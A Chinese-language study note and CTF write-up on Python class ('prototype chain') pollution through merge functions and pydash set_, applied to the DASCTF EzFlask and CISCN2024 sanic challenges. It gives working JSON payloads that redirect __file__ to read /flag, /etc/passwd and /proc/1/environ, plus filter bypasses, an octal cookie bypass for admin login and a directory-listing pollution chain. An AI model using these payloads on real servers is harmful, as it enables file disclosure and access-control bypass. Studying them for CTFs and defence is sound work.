python原型链污染
后面会有跟着Article_kelp慢慢操作的,前面先面向题目学习。
背景:
国赛遇到了这个考点,然后之后的DASCTF夏季挑战赛也碰到了,抓紧粗略学一手,学了JavaScript之后再深究原型链污染。
简介:
python 中的原型链污染是指通过修改对象原型链中的属性,对程序的行为产生以外影响或利用漏洞进行攻击的一种技术。
在 Python中,对象的属性和方法可以通过原型链继承来获取。每个对象都有一个原型,原型上定义了对象可以访问的属性和方法。当对象访问属性或方法时,会先在自身查找,如果找不到就会去原型链上的上级对象中查找,原型链污染攻击的思路是通过修改对象原型链中的属性,使得程序在访问属性或方法时得到不符合预期的结果。常见的原型链污染攻击包括修改内置对象的原型、修改全局对象的原型等
这个知识点应用的范围比较小,仅当题目中出现utils
的merge
或Pydash(5.1.2)
模块中的set
和set_with
函数才会用上。
merge(没遇到过具体题型,先简单说下):
首先是下面这个程序,可以再merge打个断点,debug试试看:
class father:secret = "hello"
class son_a(father):pass
class son_b(father):pass
def merge(src, dst):for k, v in src.items():if hasattr(dst, '__getitem__'):if dst.get(k) and type(v) == dict:merge(v, dst.get(k))else:dst[k] = velif hasattr(dst, k) and type(v) == dict:merge(v, getattr(dst, k))else:setattr(dst, k, v)
instance = son_b()
payload = {"__class__" : {"__base__" : {"secret" : "world"}}
}
print(son_a.secret)
#hello
print(instance.secret)
#hello
merge(payload, instance)
print(son_a.secret)
#world
print(instance.secret)
#world
print(father.secret)
#world
这就是一个简单的污染father类的secret属性的一个程序,可以看到的是,最后father.secret确实是被污染了。
当然,内置属性例如 __str__,
特别注意:
并不是所有的类的属性都可以被污染,如Object
的属性就无法被污染,所以需要目标类能够被切入点类或对象可以通过属性值查找获取到
大佬是这么说的
通过断点调试可以看出这个merge函数在走到hasattr处,由于我们的payload是一层字典套一层字典,就会递归调用merge,并且由于getattr(dst,k),dst就在一直按着payload的键发生变化,从到类,再到父类,最后把父类的secret赋值为polluted,成功实现了原型链污染。
payload也很好理解,其实就是利用了python的链式继承关系,最后找到这个类即可,和SSTI通过链式继承关系找os模块很像。
类的内置属性,如
__str__
也可以被污染,但是需要注意,并不是所有类的属性都可以被污染,比如Object
就无法被污染。
pydash(5.1.2):
由于暂时不会Sanic框架的编写,所以先暂时用下flask框架, 差距应该不大。
先看看下面这个代码:
from pydash import set_class Father:secret_value = "safe"class Pollution(object):def __init__(self):passpollutant = Pollution()
father = Father()payload = {"key" : "__class__.__init__.__globals__.father.secret_value","value" : "polluted"
}key = payload["key"]
value = payload["value"]print(father.secret_value)
#safe
set_(pollutant,key, value)
print(father.secret_value)
#polluted
如上,我们最后成功污染了Father类的secret_value属性,大概思路就是通过 key 里的这个链子去找到 father.secret_value 这个属性,然后进行污染,污染为 value 的值。
也正因为如此,所以写一个Web服务来试试看:
from flask import Flask
from pydash import set_
import jsonapp = Flask(__name__)class Pollute:def __init__(self):pass@app.route('/', methods=['GET', 'POST'])
def hello_world():return open(__file__).read()@app.route('/pollute', methods=['GET', 'POST'])
def Pollution():payload = {r"key": r"__init__.__globals__.__file__",r"value": r"D:\html study\PyCharm Project\flask_pydash1\flag"}key = payload['key']value = payload['value']pollute = Pollute()set_(pollute,key,value)return "Finished pollute "if __name__ == '__main__':app.run(host='0.0.0.0', port=5000,debug=True)
不知为何,这里写的Web服务中,Pollution() 这里传入reqeust参数总是会出错,所以这里就用这种方式直接规定了key和value的值,作为一种输入方式。
首先第一次访问根路由,得到的页面如下:
之后,尝试访问下/pollute路由,返回了一个 Finished pollute ,随后再去访问下根路由,得到的如下:
成功读取到了我提前准备的flag。
原因就是因为在__globals__里找到了__file__属性,然后才能进行污染。
[DASCTF 2023 & 0X401七月暑期挑战赛]EzFlask:
(小声嘀咕):前面才刚说了没遇到merge的题,这就遇到了。
首先,打开就是源码:
import uuidfrom flask import Flask, request, session
from secret import black_list
import jsonapp = Flask(__name__)
app.secret_key = str(uuid.uuid4())def check(data):for i in black_list:if i in data:return Falsereturn Truedef merge(src, dst):for k, v in src.items():if hasattr(dst, '__getitem__'):if dst.get(k) and type(v) == dict:merge(v, dst.get(k))else:dst[k] = velif hasattr(dst, k) and type(v) == dict:merge(v, getattr(dst, k))else:setattr(dst, k, v)class user():def __init__(self):self.username = ""self.password = ""passdef check(self, data):if self.username == data['username'] and self.password == data['password']:return Truereturn FalseUsers = []@app.route('/register',methods=['POST'])
def register():if request.data:try:if not check(request.data):return "Register Failed"data = json.loads(request.data)if "username" not in data or "password" not in data:return "Register Failed"User = user()merge(data, User)Users.append(User)except Exception:return "Register Failed"return "Register Success"else:return "Register Failed"@app.route('/login',methods=['POST'])
def login():if request.data:try:data = json.loads(request.data)if "username" not in data or "password" not in data:return "Login Failed"for user in Users:if user.check(data):session["username"] = data["username"]return "Login Success"except Exception:return "Login Failed"return "Login Failed"@app.route('/',methods=['GET'])
def index():return open(__file__, "r").read()if __name__ == "__main__":app.run(host="0.0.0.0", port=5010)
审计一下,发现了几个点,首先是:
def merge(src, dst):for k, v in src.items():if hasattr(dst, '__getitem__'):if dst.get(k) and type(v) == dict:merge(v, dst.get(k))else:dst[k] = velif hasattr(dst, k) and type(v) == dict:merge(v, getattr(dst, k))else:setattr(dst, k, v)
就像最开始说的那样,存在merge函数,然后下一个有用的信息是:
@app.route('/',methods=['GET'])
def index():return open(__file__, "r").read()
读取了内置属性 __file__ 的值,最后一个重要的信息是:
@app.route('/register',methods=['POST'])
def register():if request.data:try:if not check(request.data):return "Register Failed"data = json.loads(request.data)if "username" not in data or "password" not in data:return "Register Failed"User = user()merge(data, User)Users.append(User)except Exception:return "Register Failed"return "Register Success"else:return "Register Failed"
这里发现,在该函数中调用了 merge() 函数,并且,data可控,那么,payload应该就显而易见了:
{"username":"a","password":"b","__class__":{"__init__":{"__globals__":{"__file__" : "/flag"#当flag在根目录下以及flag文件名知道的情况下}}}
}
但是,上传却失败了?(这儿可能会出现两个问题,除了黑名单本身的问题外,还有个重点问题,也会导致失败,就是一定要把Content-Type修改为application/json)看看这儿:
from secret import black_list
虽然挺明显的,但还是很阴。很显然,在check函数下,有个与黑名单的比较,推测应该是这儿过不了,不过,当我们依次把那几个变量修改一下之后,发现,当__init__
被修改成__int__
后,返回的是 Register Success,所以,这里似乎只需要绕过__init__
就行了,先做如下测试:
class A:def __init__(self):passdef check(self):passa = A()
print(a.__class__.check.__globals__)#{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x00000122A3EB56D0>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': 'D:\\html study\\PyCharm Project\\flask_pydash1\\test.py', '__cached__': None, 'A': <class '__main__.A'>, 'a': <__main__.A object at 0x00000122A405FA50>}
发现我们可以通过对象的方法来获取__globals__
全局变量,所以payload可以如下构造:
{"username":"a","password":"b","__class__":{"check":{"__globals__":{"__file__" : "/flag"}}}
}
但是最后读取根路由的时候出现了哥问题,那就是,flag文件名不对。
令人窒息的操作。不过有一点儿或许有点儿希望,那就是环境变量,如果环境变量里面也没有的话,那我可就真没法了,说干就干,首先,环境变量可以通过 /proc/$PID/environ
来读取,这里推测有可能需要用到爆破。
之后读取根路由:
运气好,flag刚好就在环境变量里。flag如下:
flag{1084bd02-8273-4a0b-a490-08451805df3a}
[Ciscn2024 初赛] sanic
根路由提示: where is my flag?,f12后发现提示了/src路由,访问后获得源码:
from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
# pydash==5.1.2class Pollute:def __init__(self):passapp = Sanic(__name__)
app.static("/static/", "./static/")
Session(app)@app.route('/', methods=['GET', 'POST'])
async def index(request):return html(open('static/index.html').read())@app.route("/login")
async def login(request):user = request.cookies.get("user")if user.lower() == 'adm;n':request.ctx.session['admin'] = Truereturn text("login success")return text("login fail")@app.route("/src")
async def src(request):return text(open(__file__).read())@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):if request.ctx.session.get('admin') == True:key = request.json['key']value = request.json['value']if key and value and type(key) is str and '_.' not in key:pollute = Pollute()pydash.set_(pollute, key, value)return text("success")else:return text("forbidden")return text("forbidden")if __name__ == '__main__':app.run(host='0.0.0.0')
初步审一下逻辑,有用的信息如下:
@app.route("/src")
async def src(request):return text(open(__file__).read())
一眼看上去没什么,但是和下面这个结合起来就不一样了:
@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):if request.ctx.session.get('admin') == True:key = request.json['key']value = request.json['value']if key and value and type(key) is str and '_.' not in key:pollute = Pollute()pydash.set_(pollute, key, value)return text("success")else:return text("forbidden")return text("forbidden")
在admin这个路由中,可以清晰地看到pydash.set_()函数,结合上一个信息,应该是打python的原型链污染__file__
来读文件,那么,还有个路由需要注意:
@app.route("/login")
async def login(request):user = request.cookies.get("user")if user.lower() == 'adm;n':request.ctx.session['admin'] = Truereturn text("login success")return text("login fail")
这里可以发现的是,我们需要传入一个Cookie的值为user=adm;n 才行,但是,试过了,不行,为啥呢?
注意:以下为我个人分析方式,由于我本人异常菜鸡,所以很有可能是错误的,不可盲目相信。
然后我们盯住user = request.cookies.get("user")
这一行代码,对着cookie同时按住ctrl+左键,找到这一行内容,跟进:
发现如下源码:
@propertydef cookies(self) -> RequestParameters:"""Incoming cookies on the requestReturns:RequestParameters: Incoming cookies on the request"""if self.parsed_cookies is None:self.get_cookies()return cast(CookieRequestParameters, self.parsed_cookies)
跟进 get_cookies()
:
def get_cookies(self) -> RequestParameters:cookie = self.headers.getone("cookie", "")self.parsed_cookies = CookieRequestParameters(parse_cookie(cookie))return self.parsed_cookies
这里审过前面那个对象,重要程度没有再跟进parse_cookie(cookie)
高,所以跟进parse_cookie(cookie)
:
def parse_cookie(raw: str) -> Dict[str, List[str]]:"""Parses a raw cookie string into a dictionary.The function takes a raw cookie string (usually from HTTP headers) andreturns a dictionary where each key is a cookie name and the value is alist of values for that cookie. The function handles quoted values andskips invalid cookie names.Args:raw (str): The raw cookie string to be parsed.Returns:Dict[str, List[str]]: A dictionary containing the cookie names as keysand a list of values for each cookie.Example:```pythonraw = 'name1=value1; name2="value2"; name3=value3'cookies = parse_cookie(raw)# cookies will be {'name1': ['value1'], 'name2': ['value2'], 'name3': ['value3']}```""" # noqa: E501cookies: Dict[str, List[str]] = {}for token in raw.split(";"):name, sep, value = token.partition("=")name = name.strip()value = value.strip()# Support cookies =value or plain value with no name# https://github.com/httpwg/http-extensions/issues/159if not sep:if not name:# Empty value like ;; or a cookie header with no valuecontinuename, value = "", nameif COOKIE_NAME_RESERVED_CHARS.search(name): # no covcontinueif len(value) > 2 and value[0] == '"' and value[-1] == '"': # no covvalue = _unquote(value)if name in cookies:cookies[name].append(value)else:cookies[name] = [value]return cookies
这里有一点需要注意:
for token in raw.split(";"):name, sep, value = token.partition("=")name = name.strip()value = value.strip()
这个代码很显然是将分号前后分割成了两个字符串,也就是说,我们想要输入的Cookie: user=adm;n会变成user=adm以及n这两个串。
根据这几行,大概可以发现最后返回的内容和什么有关了:
if len(value) > 2 and value[0] == '"' and value[-1] == '"': # no covvalue = _unquote(value)if name in cookies:cookies[name].append(value)else:cookies[name] = [value]return cookies
很明显,最终返回的是 cookies ,但是每次操作cookies都是增加的value参数,由此,根据 value = _unquote(value)
,这里跟进_unquote(value)
:
def _unquote(str): # no covif str is None or len(str) < 2:return strif str[0] != '"' or str[-1] != '"':return strstr = str[1:-1]i = 0n = len(str)res = []while 0 <= i < n:o_match = OCTAL_PATTERN.search(str, i)q_match = QUOTE_PATTERN.search(str, i)if not o_match and not q_match:res.append(str[i:])break# else:j = k = -1if o_match:j = o_match.start(0)if q_match:k = q_match.start(0)if q_match and (not o_match or k < j):res.append(str[i:k])res.append(str[k + 1])i = k + 2else:res.append(str[i:j])res.append(chr(int(str[j + 1 : j + 4], 8))) # noqa: E203i = j + 4return "".join(res)
感觉,这个就是我们最主要的利用的点。
首先是这几行:
if str is None or len(str) < 2:return strif str[0] != '"' or str[-1] != '"':return strstr = str[1:-1]
判断传入的字符串(这里推测是user=XXXX中的XXXX),发现如果第一个字符不是两种引号,则直接返回,如果是引号,则掐头去尾,把引号去掉。之后的代码我不大会审,跑去问了下AI,可能有点儿智障,不过给了我一个方向,测试了一下,能成:
i = 0n = len(str)res = []while 0 <= i < n:o_match = OCTAL_PATTERN.search(str, i)q_match = QUOTE_PATTERN.search(str, i)if not o_match and not q_match:res.append(str[i:])break# else:j = k = -1if o_match:j = o_match.start(0)if q_match:k = q_match.start(0)if q_match and (not o_match or k < j):res.append(str[i:k])res.append(str[k + 1])i = k + 2else:res.append(str[i:j])res.append(chr(int(str[j + 1 : j + 4], 8))) # noqa: E203i = j + 4
后面还给了个它给写的改进的代码,不过就不放这儿了。
根据这个答案猜想,可能是通过八进制进行的绕过,测试一下,访问下login路由,然后修改cookie的值为Cookie: user="adm\073n"
,之后试试看能否登陆成功?
成功了 (≧▽≦)o。
这里它返回了个Session值,然后将它给的Session值写到请求头内,然后访问admin路由,发现并没有 给我们直接forbidden掉,说明成功了。之后就是正儿八经的原型链污染读文件了,第一波,先读一下,先来个第一个payload:
{
"key" : "__init__.__globals__.__file__",
"value" : "/etc/passwd"
}
然而,恭喜了,每过,被forbidden了。回去看看,破案了,admin路由函数中存在这么一个比较:if key and value and type(key) is str and '_.' not in key:
,这个就卡住我了。先来看下这几行:
key = request.json['key']value = request.json['value']if key and value and type(key) is str and '_.' not in key:pollute = Pollute()pydash.set_(pollute, key, value)
似乎需要绕过的仅仅只有key中的 '_.'
字符串,那么,需要的就是对key进行操作的地方应该重点观察,所以,上面这个代码应该重点看一看,当然, 前面的所有都没有用,最有用的只有pydash.set_(pollute, key, value)
,那么,没办法了,跟进set_()函数:
def set_(obj, path, value):"""Sets the value of an object described by `path`. If any part of the object path doesn't exist,it will be created.Args:obj (list|dict): Object to modify.path (str | list): Target path to set value to.value (mixed): Value to set.Returns:mixed: Modified `obj`.Warning:`obj` is modified in place.Example:>>> set_({}, 'a.b.c', 1){'a': {'b': {'c': 1}}}>>> set_({}, 'a.0.c', 1){'a': {'0': {'c': 1}}}>>> set_([1, 2], '[2][0]', 1)[1, 2, [1]]>>> set_({}, 'a.b[0].c', 1){'a': {'b': [{'c': 1}]}}.. versionadded:: 2.2.0.. versionchanged:: 3.3.0Added :func:`set_` as main definition and :func:`deep_set` as alias... versionchanged:: 4.0.0- Modify `obj` in place.- Support creating default path values as ``list`` or ``dict`` based on whether key or indexsubstrings are used.- Remove alias ``deep_set``."""return set_with(obj, path, value)
算是,好消息吧,直接就看到了path,我们传入的key或许就是这个叫path的东西,毕竟那个链子看起来也很像是路径。好,没啥内容,跟进set_with(obj, path, value)
。
def set_with(obj, path, value, customizer=None):"""This method is like :func:`set_` except that it accepts customizer which is invoked to producethe objects of path. If customizer returns undefined path creation is handled by the methodinstead. The customizer is invoked with three arguments: ``(nested_value, key, nested_object)``.Args:obj (list|dict): Object to modify.path (str | list): Target path to set value to.value (mixed): Value to set.customizer (callable, optional): The function to customize assigned values.Returns:mixed: Modified `obj`.Warning:`obj` is modified in place.Example:>>> set_with({}, '[0][1]', 'a', lambda: {}){0: {1: 'a'}}.. versionadded:: 4.0.0.. versionchanged:: 4.3.1Fixed bug where a callable `value` was called when being set."""return update_with(obj, path, pyd.constant(value), customizer=customizer)
盯着path,继续跟进:
def update_with(obj, path, updater, customizer=None): # noqa: C901"""This method is like :func:`update` except that it accepts customizer which is invoked to producethe objects of path. If customizer returns ``None``, path creation is handled by the methodinstead. The customizer is invoked with three arguments: ``(nested_value, key, nested_object)``.Args:obj (list|dict): Object to modify.path (str|list): A string or list of keys that describe the object path to modify.updater (callable): Function that returns updated value.customizer (callable, optional): The function to customize assigned values.Returns:mixed: Updated `obj`.Warning:`obj` is modified in place.Example:>>> update_with({}, '[0][1]', lambda: 'a', lambda: {}){0: {1: 'a'}}.. versionadded:: 4.0.0"""if not callable(updater):updater = pyd.constant(updater)if customizer is not None and not callable(customizer):call_customizer = partial(callit, clone, customizer, argcount=1)elif customizer:call_customizer = partial(callit, customizer, argcount=getargcount(customizer, maxargs=3))else:call_customizer = Nonedefault_type = dict if isinstance(obj, dict) else listtokens = to_path_tokens(path)if not pyd.is_list(tokens): # pragma: no covertokens = [tokens]last_key = pyd.last(tokens)if isinstance(last_key, PathToken):last_key = last_key.keytarget = objfor idx, token in enumerate(pyd.initial(tokens)):if isinstance(token, PathToken):key = token.keydefault_factory = pyd.get(tokens, [idx + 1, "default_factory"], default=default_type)else:key = tokendefault_factory = default_typeobj_val = base_get(target, key, default=None)path_obj = Noneif call_customizer:path_obj = call_customizer(obj_val, key, target)if path_obj is None:path_obj = default_factory()base_set(target, key, path_obj, allow_override=False)try:target = base_get(target, key, default=None)except TypeError as exc: # pragma: no covertry:target = target[int(key)]_failed = Falseexcept Exception:_failed = Trueif _failed:raise TypeError(f"Unable to update object at index {key!r}. {exc}")value = base_get(target, last_key, default=None)base_set(target, last_key, callit(updater, value))return obj
继续跟进path,似乎整个函数里就只有一个:tokens = to_path_tokens(path)
,还是无脑根:
def to_path_tokens(value):"""Parse `value` into :class:`PathToken` objects."""if pyd.is_string(value) and ("." in value or "[" in value):# Since we can't tell whether a bare number is supposed to be dict key or a list index, we# support a special syntax where any string-integer surrounded by brackets is treated as a# list index and converted to an integer.keys = [PathToken(int(key[1:-1]), default_factory=list)if RE_PATH_LIST_INDEX.match(key)else PathToken(unescape_path_key(key), default_factory=dict)for key in filter(None, RE_PATH_KEY_DELIM.split(value))]elif pyd.is_string(value) or pyd.is_number(value):keys = [PathToken(value, default_factory=dict)]elif value is UNSET:keys = []else:keys = valuereturn keys
这儿不知道怎么操作了,但是跟进 RE_PATH_KEY_DELIM
后得到了个正则表达式:
RE_PATH_KEY_DELIM = re.compile(r"(?<!\\)(?:\\\\)*\.|(\[\d+\])")
问了下ai,ai的回复中有一点儿值得注意:
请注意,这个正则表达式在处理复杂的转义序列时可能不是完美的,特别是当字符串中包含连续的转义字符(如
\\\\.
),这些字符可能意图表示一个实际的点号但前面有偶数个反斜杠。此外,如果点号后面紧跟的是字母或其他非数字字符,它仍然会被匹配为分隔符,即使这可能不是预期的。
我个人已经别无他法了,照着它给的这个这\\\\.
试着绕了一下,结果成功了,payload如下:
{
"key" : "__init__\\\\.__globals__\\\\.__file__",
"value" : "/etc/passwd"
}
访问src路由,成功读取到了文件:
好了,照理来说,这个题目如果这样的话已经成功了,利用如下payload直接读取进程的环境变量即可:
{
"key" : "__init__\\\\.__globals__\\\\.__file__",
"value" : "/proc/1/environ"
}
但是,看了下大佬们的wp似乎有另一种姿势,算是一种非预期吧。
下面跟着大佬们走:
先看如下位置:
app = Sanic(__name__)
app.static("/static/", "./static/")
Session(app)
跟进 static(),得到如下内容:
def static(self,uri: str,file_or_directory: Union[PathLike, str],pattern: str = r"/?.+",use_modified_since: bool = True,use_content_range: bool = False,stream_large_files: Union[bool, int] = False,name: str = "static",host: Optional[str] = None,strict_slashes: Optional[bool] = None,content_type: Optional[str] = None,apply: bool = True,resource_type: Optional[str] = None,index: Optional[Union[str, Sequence[str]]] = None,directory_view: bool = False,directory_handler: Optional[DirectoryHandler] = None,):"""Register a root to serve files from. The input can either be a file or a directory.This method provides an easy and simple way to set up the route necessary to serve static files.Args:uri (str): URL path to be used for serving static content.file_or_directory (Union[PathLike, str]): Path to the static fileor directory with static files.pattern (str, optional): Regex pattern identifying the validstatic files. Defaults to `r"/?.+"`.use_modified_since (bool, optional): If true, send file modifiedtime, and return not modified if the browser's matches theserver's. Defaults to `True`.use_content_range (bool, optional): If true, process header forrange requests and sends the file part that is requested.Defaults to `False`.stream_large_files (Union[bool, int], optional): If `True`, usethe `StreamingHTTPResponse.file_stream` handler rather thanthe `HTTPResponse.file handler` to send the file. If thisis an integer, it represents the threshold size to switchto `StreamingHTTPResponse.file_stream`. Defaults to `False`,which means that the response will not be streamed.name (str, optional): User-defined name used for url_for.Defaults to `"static"`.host (Optional[str], optional): Host IP or FQDN for theservice to use.strict_slashes (Optional[bool], optional): Instruct Sanic tocheck if the request URLs need to terminate with a slash.content_type (Optional[str], optional): User-defined content typefor header.apply (bool, optional): If true, will register the routeimmediately. Defaults to `True`.resource_type (Optional[str], optional): Explicitly declare aresource to be a `"file"` or a `"dir"`.index (Optional[Union[str, Sequence[str]]], optional): Whenexposing against a directory, index is the name that willbe served as the default file. When multiple file names arepassed, then they will be tried in order.directory_view (bool, optional): Whether to fallback to showingthe directory viewer when exposing a directory. Defaultsto `False`.directory_handler (Optional[DirectoryHandler], optional): Aninstance of DirectoryHandler that can be used for explicitlycontrolling and subclassing the behavior of the defaultdirectory handler.Returns:List[sanic.router.Route]: Routes registered on the router.Examples:Serving a single file:```pythonapp.static('/foo', 'path/to/static/file.txt')```Serving all files from a directory:```pythonapp.static('/static', 'path/to/static/directory')```Serving large files with a specific threshold:```pythonapp.static('/static', 'path/to/large/files', stream_large_files=1000000)```""" # noqa: E501name = self.generate_name(name)if strict_slashes is None and self.strict_slashes is not None:strict_slashes = self.strict_slashesif not isinstance(file_or_directory, (str, bytes, PurePath)):raise ValueError(f"Static route must be a valid path, not {file_or_directory}")try:file_or_directory = Path(file_or_directory).resolve()except TypeError:raise TypeError("Static file or directory must be a path-like object or string")if directory_handler and (directory_view or index):raise ValueError("When explicitly setting directory_handler, you cannot ""set either directory_view or index. Instead, pass ""these arguments to your DirectoryHandler instance.")if not directory_handler:directory_handler = DirectoryHandler(uri=uri,directory=file_or_directory,directory_view=directory_view,index=index,)static = FutureStatic(uri,file_or_directory,pattern,use_modified_since,use_content_range,stream_large_files,name,host,strict_slashes,content_type,resource_type,directory_handler,)self._future_statics.add(static)if apply:self._apply_static(static)
注释里面存在这两句话:
directory_view (bool, optional): Whether to fallback to showingthe directory viewer when exposing a directory. Defaultsto `False`.directory_handler (Optional[DirectoryHandler], optional): Aninstance of DirectoryHandler that can be used for explicitlycontrolling and subclassing the behavior of the defaultdirectory handler.
大致意思就是directory_view为True时,会开启列目录功能,directory_handler中可以获取指定的目录。跟进下directory_handler
,如下:
if not directory_handler:directory_handler = DirectoryHandler(uri=uri,directory=file_or_directory,directory_view=directory_view,index=index,)
再跟进DirectoryHandler
,发现如下
def __init__(self,uri: str,directory: Path,directory_view: bool = False,index: Optional[Union[str, Sequence[str]]] = None,) -> None:
我们发现只要我们将directory污染为根目录,directory_view污染为True,就可以看到根目录的所有文件了。
后续我在Windows上测试次次运行不了,这里就直接借一下大佬们的代码在这儿,我就不实操了
from sanic import Sanic
from sanic.response import text, html
#from sanic_session import Session
import sys
import pydash
# pydash==5.1.2class Pollute:def __init__(self):passapp = Sanic(__name__)
app.static("/static/", "./static/")
#Session(app)#@app.route('/', methods=['GET', 'POST'])
#async def index(request):#return html(open('static/index.html').read())#@app.route("/login")
#async def login(request):#user = request.cookies.get("user")#if user.lower() == 'adm;n':#request.ctx.session['admin'] = True#return text("login success")#return text("login fail")@app.route("/src")
async def src(request):print(app.router.name_index)return text(open(__file__).read())@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):key = request.json['key']value = request.json['value']if key and value and type(key) is str and '_.' not in key:pollute = Pollute()pydash.set_(pollute, key, value)return text("success")else:return text("forbidden")#print(app.router.name_index['name'].directory_view)if __name__ == '__main__':app.run(host='0.0.0.0')
输出应该接近这样:
看出来了路由是 "__mp_main__.static"
,之后,就可以直接一把梭了(具体链子怎么找,参考gxngxngxn大佬的文章):
{
"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view",
"value": 1
}
上面的payload是开启目录功能。
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value": ["/"]}
这个payload是将指定目录污染为根目录,之后访问/static/目录,就能看到根目录下开始的所有文件的文件名了/
{"key":"__init__\\\\.__globals__\\\\.__file__","value": "/flag文件名字"}
这个payload是用来读flag文件的,之后访问src路由即可获得flag。
参考文章:
基础资料
Python原型链污染
Python原型链污染变体(prototype-pollution-in-python)
Pydash 原型链污染
做题参考:
从CISCN2024的sanic引发对python“原型链”的污染挖掘
CISCN2024-WEB-Sanic gxngxngxn